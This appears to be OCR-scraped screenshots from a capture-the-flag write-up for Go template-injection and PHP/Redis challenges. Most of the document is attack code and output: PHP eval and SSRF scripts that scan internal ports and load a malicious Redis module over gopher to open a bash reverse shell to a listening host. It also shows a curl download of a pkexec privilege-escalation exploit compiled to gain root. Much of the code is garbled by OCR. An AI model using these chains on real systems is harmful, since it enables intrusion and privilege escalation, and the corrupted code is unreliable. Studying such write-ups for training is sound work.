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Version 7.50 ( https://mmap.org/ncat )
Listening on :::7777
Listening on 0.0.0.0:7777
Connection from 117.175.191.16.

: Connection from 117.175.191.1
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package main

import (
_ "embed"
"fmt"
"og"
"reflect"
"strings"
"text/template”

"github.com/gin-contrib/sessions"

"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"github.com/maja42/goval”

//go:embed template/index.html
var tpl string




var source string

type Eval struct {

E string “json:"e

}

form:"e" binding:"required"”

func (e Eval) Result() (string, error) {
eval := goval.NewEvaluator()
result, err := eval.Evaluate(e.E, nil, nil)
if err = nil {

return , err

¥
t

:= reflect.ValueOf(result).Type().Kind()

if t == reflect.Int {
return fmt.Sprintf("%d", result.(int)), nil
} else if t == reflect.String {
return result.(string), nil
} else {
return
¥
}

, fmt.Errorf("not valid type")

func (e Eval) String() string {
res, err := e.Result()
if err != nil {
fmt.Println(err)
res = "invalid"
¥
return fmt.Sprintf("%s = %s", e.E, res)

}

func render(c *gin.Context) {
session := sessions.Default(c)

var his string

if session.Get("history") == nil {

his = ""

} else {

his = session.Get("history").(string)

}

fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
if err != nil {
fmt.Println(err)
c.String(500, "internal error")
return
¥
if err := t.Execute(c.Writer, map[string]string{
"sOuR3e": source,
}); err I= nil {
fmt.Println(err)
¥
}

func main() {
port := os.Getenv("PORT")




if port == "" {
port = “8080"
¥

r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g@t sourcE_co6e"))

r.Use(sessions.Sessions("session", store))

r.GET("/", func(c *gin.Context) {
render(c)

1}

r.GET("/flag", func(c *gin.Context) {
session := sessions.Default(c)
session.Set("FLAG", os.Getenv("FLAG"))
session.Save()

c.String(200, "flag is in your session")

})

r.POST("/", func(c *gin.Context) {
session := sessions.Default(c)

var his string

if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)

}

eval := Eval{}

if err := c.ShouldBind(&eval); err == nil {
his = his + eval.String() + "<br/>"

¥

session.Set("history", his)

session.Save()

render(c)

1)

r.Run(fmt.Sprintf(":%s", port))
¥




package main

"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"

)

func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8888"
b
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g@t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/flag", func(c *gin.Context) {
session := sessions.Default(c)
c.String(200, session.Get("FLAG").(string))
1)
r.Run(fmt.Sprintf(":%s", port))

}
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Results | Target | Positions I Payloads TOptions }

Attack Save Columns

)

[ Results T Target IPositioﬂs T Payloads I Options ]

Payload Positions

Configure the positions where payloads will be inserte
which payloads are assigned to payload positions - se|

Attack type: Sniper

GET /evil?name=vnctf2021 HTTP/1.1

Host: 1.13.163. 248:8083

Pragma: no-cache

Cache-Control: no-cache
Upgrade—Insecure-Reguests: 1

User-Agent: Mozillas5. 0 (Windows NT 10.0; Wi
Chrome/98. 0. 4758. 82 Safari/537. 36

Accept:

text/html, application/xhtml+xml, application/
.8, application/signed-exchange;v=b3;q=0.%
Accept—Encoding: gzip, deflate
Accept—-Language: zh-CN, zh;q=0.9

Connection: close

@ Payload Positions

Configure the positions where payloads will be inserted into the base re
which payloads are assigned to payload positions - see help for full det

Attack type:  Sniper

GET sevil?name=vnctf2022 HTTP/1.1

Host: 1.13.163. 24B: 8083

Pragma: no—cache

Cache—Control: no—cache

Upgrade—Insecure—Requests: 1

User—Agent: Mozilla/5. 0 (Windows NT 10.0; Winéd; x&4) Appl
Chrome/98. 0. 4758, B? Safari/537. 36

Accept:

text/html, application/xhtml+xml, application/xml;q=0. 9, imag
.B,application/signed-exchange;v=bl3;q=0.9

Accept—Encoding: gzip, deflate

Accept-Language: zh-CN, zh:q=0.9

Connection: close
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Attack Save Columns Intruder attack 14
JRequts TTarget I Paositions I Payloads T Options ] Attack Save Columns
Filter: Showing all items J Results T Target I Positions I Payloads I Options 1
Request | Payload | Status | Error ‘ e
235 null 200 = Request | Payload | Status | Error | 'I'lmeout| Length | Comment
0 200 Ul 200 O ) 106
! nul 200 iy null 200 O [ 106
2 nul 200 dilz null 200 O ] 106
3 null 200 Olls nul 200 O O 106
4 null 200 ShE null 200 a O 106
5 null 200 a4 null 200 O ] 106
i null 200 Ol nul 200 O O 106
! null 200 g+ null 200 a O 106
8 null 200 Ol s null 200 O ] 106

Request [Respnﬂse ] g null 200 O D_ 106
JRaw I Headers T Hex T Render 1 Request | Response 1
ATTP/A. 1 200 J RawT Headers I Hex ]
Jate: 3at, 12 Feb 2022 06:52:01 GMT
Jonnection: close HTTP/1.1 200
Jontent-Length: 43 Gontent-Length: 0

Date: 3at, 12 Feb 2022 06:54:57 GMT

The Key is rEvaw4EéghbcY9PLOBXFGb401nrEMJbI Connection: close
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entity.User;
util.SerAndDe;

java.io.ByteArrayOutputStream;

java.io.IOException;

java.io.ObjectOutputStream;

java.util.Baseb64;

class Test3 {

public static void main(String[] args) throws IOException {

User user = new User("m4n_qlu 666", "666", "180");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
byte[] bytes=SerAndDe.serialize(user);

String en = Base64.getEncoder().encodeToString(bytes);

System.out.println(en);

System.out.print((User)SerAndDe.deserialize(Base64.getDecoder().decode(en)));
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enctype

@@ Enable POST application/x-www-form-urlencoded

Body
key=revqw4E6qhbcY9PLO8XFGb401nr8MJbl&base64=rO0ABXNyAAtIbnRpdHkuVXNIcm1aqowDODcIA

WACTAADYWdIdAASTGphdmEVvbGFUZy9TdHJpbmc7TAAEDbMFtZXEAfgABEHBOAAMZN]ZOAATINGSfCT
F1XzZY2NnQAAZE4MHQg%3D
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i€ 1 phpinfo;

AT A

http://e029afc9-43c2-4a3d-9922-1d703aab43fd.node4.buuoj.cn:81/?exp=print_r(scandir(%27.%27));
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import requests
from urllib import parse

"http://e029afc9-43c2-4a3d-9922-1d703aab43fd.node4.buuoj.cn:81/?exp=eval($ _POST[O]);"

= {"content-type":"application/x-www-form-urlencoded"}

function Curl($url) {
$ch = curl init();
curl setopt($ch, CURLOPT URL, $url);
curl setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
$result = curl exec($ch);
curl close($ch);
if($result!=""){
echo $result.$url;

}

)

for($i=0;$1<9999;%i++){
Curl("dict://127.0.0.1:%$i/info");
by

data = {
0:payload

requests.post(url,data=data,headers=headers).text
print(r)

<address>Apache/2.4.38 (Debian) Serve
</body></html>
dict://127.0.0.1:88/info-NOAUTH Authe
-NOAUTH Authentication required.

+OK

dict://127.0.0.1:8888/info
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import requests

url = "http://e029afc9-43c2-4a3d-9922-1d703aab43fd.node4.buuoj.cn:81/?exp=eval($ POST[O]);"

headers = {"content-type": "application/x-www-form-urlencoded"}

pay = "http://ip/exp.so"

function Curl($url) {
$ch = curl init();
curl setopt($ch, CURLOPT URL, $url);
curl setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
$result = curl exec($ch);

curl close($ch);
file put contents("exp.so",$result);
Curl(""'" + pay + ''"'");

"tostrip()

data = {
0: payload

requests.post(url, data, headers=headers).text
print(r)
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wadnt a girlfri3
"whoami'

.replace("\n", "\r\n")

payload =
function Curl($url) {
$ch = curl init();

PS C:\Users\ASUS> & E:/python3/python3
<code><span style="color: #000000">
<span style="color: #0000BB">&11; ?php&r
style="color: #0000BB">$ GET</span><sps
</span>

</code>+0K

+OK

%9

www-data

+OK

S8R [ sshell



import requests
from urllib import parse

"http://e029afc9-43c2-4a3d-9922-1d703aab43fd.node4.buuoj.cn:81/?exp=eval($ POST[O]);"

= {"content-type":"application/x-www-form-urlencoded"}

pay="""auth ye_w4nt_a girlfri3nd

module load ./ex.so

system.exec 'bash -c "bash -i >& /dev/tcp/ip/7777 ©>&1"'
quit

""" replace(’

k)

)

payload = """

function Curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
$result = curl_exec($ch);
curl close($ch);
if($result!=""){
echo $result;

}

}
Curl("gopher://127.0.0.1:8888/_'"''+parse.quote(pay)+'"'"'");

data = {
0:payload

requests.post(url,data=data,headers=headers).text

/usr/1lib/dbus-1.0/dbus-daemon-launch-helper
/usr/1lib/policykit-1/polkit-agent-helper-1

7 Fpkexec, s XA https://github.com/arthepsy/CVE-2021-4034
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—datalout:/tmp$ curl h_tp:/’"*" ..5... " **’'—= > /tmp/sp.c
curl http://47.93.248.44/cnm > /tmp/sp.cC
B % Total % Received % Xferd Average Speed Time Time Ti
Dload Upload Total Spent
1296 100 1296 0 16831 0 —:—2— —i1——1—— ——:-

—data@out:/tmp$ 1s

p 2

-datafout: /tmp$ gcc sp.c -o sp
Eigcc sp.c -0 sSp
-datalout:/tmp$ ./sp

uid=0(root) gid=0(root) groups=0(root), 33 (www-data)
cat /flag
flag{7£78b446-974c-44eb-8cd2-2752d472387d}
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